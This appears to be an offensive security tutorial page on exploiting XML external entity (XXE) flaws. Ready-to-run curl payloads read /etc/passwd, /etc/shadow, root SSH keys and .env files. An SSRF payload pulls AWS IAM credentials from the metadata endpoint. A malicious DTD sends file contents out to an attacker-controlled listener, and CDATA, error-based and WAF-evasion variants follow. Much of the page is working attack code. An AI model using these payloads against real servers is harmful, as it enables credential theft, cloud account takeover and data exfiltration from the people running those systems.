Skip to content

XXE Exploitation

6 min read Created Mar 28, 2026 Last updated Aug 11, 2026

XXE exploitation uses external XML entities to read arbitrary files from the server filesystem, trigger SSRF to internal services, and in some cases execute blind out-of-band data exfiltration. The parser must process external entities for any of this to work. Many modern parsers disable external entity processing by default. Confirm DTD processing is active through XXE detection before attempting file reads.

  • In-band file read retrieves file content directly when the entity value appears in the XML response.
  • SSRF via XXE uses http:// entity URIs to reach internal services and cloud metadata endpoints.
  • Blind OOB exfiltration hosts a malicious DTD that sends file content as a query parameter to your listener.
  • High-value targets include /etc/passwd, .env files, SSH keys, config.php, and /proc/self/environ.

A 500 error or silent empty response usually means external entities are disabled. If the application returns XML parse errors, the parser still processes the input. That is a useful signal even before a successful read. The attack surface includes any endpoint that accepts XML: SOAP services, REST APIs with XML bodies, file upload endpoints that process SVG or XML-based formats, and endpoints where you can switch the content type from JSON to XML.

In-Band File Read

Read files directly when the parsed XML content appears in the response. The entity value gets substituted into the XML tree and returned inside a response element. Look for the file content reflected in any field of the response body, not just the expected output field. If the file contains special XML characters such as angle brackets or ampersands, the read may fail or return truncated output. Wrap the entity reference in a CDATA section to handle those cases: <![CDATA[&xxe;]]> prevents the parser from treating file content as markup. Binary files and files with null bytes will likely cause the parser to truncate or drop the output entirely.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>'
<response>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin</response>

Target high-value files after confirming the read works. /etc/passwd confirms read access and reveals system usernames. /etc/shadow requires the web process to run as root. If it returns data, the whole server is compromised. /root/.ssh/id_rsa gives direct SSH access if the key exists and the root account allows key authentication. .env and config.php frequently contain database credentials, API keys, and third-party service tokens. Look for database hostnames in config files and pivot to internal services using SSRF. Check /proc/self/environ for runtime environment variables injected at startup. Use /proc/self/cmdline to identify the process name and its configuration file paths, which often reveals additional secrets files worth reading.

┌──(kali㉿kali)-[~]
└─$ for file in /etc/passwd /etc/shadow /root/.ssh/id_rsa /var/www/html/.env /var/www/html/config.php; do echo "=== $file ==="; curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY xxe SYSTEM \"file://${file}\">]><r>&xxe;</r>" | grep -v '^<'; done

SSRF via XXE

Use XXE to trigger HTTP requests to internal services. Replace the file:// URI with an http:// URI pointing at internal infrastructure. The AWS instance metadata endpoint at 169.254.169.254 is the most common target in cloud environments. The response from the listing endpoint contains the IAM role name attached to the instance. Follow up with a second request to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> to retrieve the actual credentials. The response includes AccessKeyId, SecretAccessKey, and a session Token. Use those with the AWS CLI to enumerate permissions, list S3 buckets, and pivot further into the cloud environment. For non-cloud targets, probe http://localhost/ and common internal service ports. Elasticsearch on port 9200 and internal admin panels often run without authentication on the internal network.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><r>&xxe;</r>'
<response>ec2-instance-role</response>

Blind XXE with Out-of-Band Exfiltration

When the response does not contain the entity value, use a DTD hosted on your server to exfiltrate data out-of-band. The server fetches your external DTD, processes it, and sends the file content as a query parameter to your HTTP listener. Watch the server logs for incoming requests after sending the payload. The file content arrives URL-encoded in the query string. Decode it after capture. This technique fails when egress filtering blocks outbound HTTP from the application server. In that case, try DNS-based exfiltration where the file content is encoded into a subdomain lookup. Files larger than a few hundred bytes may be truncated because DNS labels have length limits. Use a tool like interactsh or Burp Collaborator to capture both HTTP and DNS callbacks reliably. Host the malicious DTD first:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://$LHOST:$LPORT/?data=%file;'>">
%eval;
%exfil;

Save this as xxe.dtd and serve it with a simple HTTP server. The $LHOST and $LPORT in the DTD must match your listener address.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY % ext SYSTEM \"http://$LHOST:$LPORT/xxe.dtd\"> %ext;]><r>test</r>"

CDATA-Wrapped File Read

Files containing XML special characters (angle brackets, ampersands) break in-band entity substitution because the parser treats the file content as markup. Wrap the entity value in a CDATA section using parameter entities to read these files cleanly. Host a DTD that concatenates a CDATA opening tag, the file content, and a CDATA closing tag into a final entity.

<!ENTITY % file SYSTEM "file:///var/www/html/config.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % eval "<!ENTITY all '%start;%file;%end;'>">
%eval;

Save this as cdata.dtd and serve it alongside xxe.dtd. Send the payload referencing this DTD:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY % ext SYSTEM \"http://$LHOST:$LPORT/cdata.dtd\"> %ext;]><r>&all;</r>"
<response><![CDATA[<?php $db_pass = 's3cret'; ?>]]></response>

The CDATA wrapper prevents the parser from choking on PHP tags, ampersands, or any other XML-reserved characters in the file. This technique requires the parser to process external parameter entities and resolve the nested entity chain. Some parsers reject the nested construction but still process the basic OOB exfiltration DTD above.

Error-Based XXE

When the application does not reflect entity values in the response and outbound HTTP is blocked, try triggering a parse error that includes the file content in the error message. Reference a nonexistent file path that includes the target file content as a parameter entity. The parser attempts to open the path, fails, and returns an error message containing the resolved entity value.

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/data -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY % ext SYSTEM \"http://$LHOST:$LPORT/error.dtd\"> %ext;]><r>test</r>"
Internal Server Error: /nonexistent/web-server-01 (No such file or directory)

The hostname value web-server-01 appears in the error path. This works best with short, single-line files. Multi-line files or files with special characters may truncate at the first problematic character. Error-based XXE depends on the parser returning verbose error messages to the client. Parsers configured to suppress error details return a generic 500 with no useful content.

XXE fails entirely when the parser runs in a hardened configuration. Java parsers with setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) block all external entity processing. .NET with DtdProcessing = Prohibit returns a parse error on DOCTYPE declarations. PHP applications calling libxml_disable_entity_loader(true) silently strip entities from input with no error returned. If responses are empty where file content should appear, entity loading is likely disabled at the parser level. Try switching to a JSON content type if the endpoint accepts it. Some applications use a different parser for alternate content types, and that parser may be less hardened. Multipart upload endpoints, SOAP services, and SVG upload handlers are common secondary targets when the main API endpoint is locked down. Some WAFs block payloads containing <!DOCTYPE in the body but pass requests where the declaration is split or encoded differently. If the DOCTYPE declaration is blocked outright, check whether SVG or other XML-based file formats accepted by the application reach the same parser stack.

References